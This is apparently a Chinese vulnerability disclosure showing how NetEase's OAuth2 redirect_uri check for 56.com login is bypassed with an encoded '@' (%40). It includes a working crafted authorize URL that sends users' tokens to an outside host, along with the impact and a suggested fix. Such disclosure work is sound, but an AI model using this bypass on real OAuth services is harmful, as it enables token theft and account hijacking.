这里是通过网易帐号登录56网的授权页面:
https://api.t.163.com/oauth2/authorize?client_id=II5coZy8DdAtKt7a&redirect_uri=http%3A%2F%2Fapp.56.com%2Fcooperate%2Findex.php%3Faction%3DWeibo%26tag%3Dwy%26do%3DCheckLogin%26from%3Dregbox&response_type=code&state=unk-qogvtqoomz
其中,client_id(类似于appkey)与redirect_uri绑定,如果更改redirect_uri参数为其他域名,则会返回错误:
{"request":"/oauth2/authorize","error":"error=redirect_uri_mismatch","error_code":"401","message_code":"A440153"}
漏洞存在于redirect_uri参数。redirect_uri参数可以使用%40来绕过有效性检查。
我们构造一个地址:
https://api.t.163.com/oauth2/authorize?client_id=II5coZy8DdAtKt7a&redirect_uri=http%3A%2F%2Fapp.56.com%40wooyun.org
其中,redirect_uri参数解码后为:
http://app.56.com@wooyun.org
成功地绕过了有效性检查。
登录后进行授权,成功跳转到了我们指定的地址,token泄漏:
危害: 黑客 可以精心构造一个页面来记录、劫持用户的token,进而控制用户的帐号。
修复方案:
加强对redirect_uri参数的校验
查看更多关于绕过网易oauth认证的redirect_uri限制劫持帐号token的详细内容...